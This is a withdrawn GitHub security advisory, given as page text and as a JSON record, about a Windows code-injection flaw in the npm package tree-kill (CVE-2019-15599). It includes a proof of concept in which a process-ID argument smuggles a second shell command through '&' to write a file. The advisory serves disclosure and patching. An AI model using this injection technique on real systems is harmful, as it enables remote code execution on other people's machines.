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GHSA-MXQ6-VRRR-PPMG

Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2023-11-08 20:03

Withdrawn 2023-11-08

Summary

Duplicate Advisory: tree-kill vulnerable to remote code execution

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.

Original Description

A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()

Steps To Reproduce:

Create the following PoC file:

// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in another terminal:

npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

A new file called HACKED.txt will be created, containing the HACKED string.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tree-kill"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-19T18:39:48Z",
    "nvd_published_at": "2019-12-18T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.\n\n## Original Description\nA Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: `https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20` . While the Linux part is sanitized, the Windows on simply uses the `+` operand to concatenate the input into `exec()`\n\n### Steps To Reproduce:\n\nCreate the following PoC file:\n\n```js\n// poc.js\nvar kill = require(\u0027tree-kill\u0027);\nkill(\u00273333332 \u0026 echo \"HACKED\" \u003e HACKED.txt \u0026 \u0027);\n```\nExecute the following commands in another terminal:\n\n```bash\nnpm i tree-kill # Install affected module\ndir # Check *HACKED.txt* doesn\u0027t exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nA new file called `HACKED.txt` will be created, containing the `HACKED` string.",
  "id": "GHSA-mxq6-vrrr-ppmg",
  "modified": "2023-11-08T20:03:29Z",
  "published": "2022-05-24T17:04:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pkrumins/node-tree-kill/commit/deee138a8cbc918463d8af5ce8c2bec33c3fd164"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/701183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pkrumins/node-tree-kill"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pkrumins/node-tree-kill/releases/tag/v1.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: tree-kill vulnerable to remote code execution",
  "withdrawn": "2023-11-08T19:16:49Z"
}

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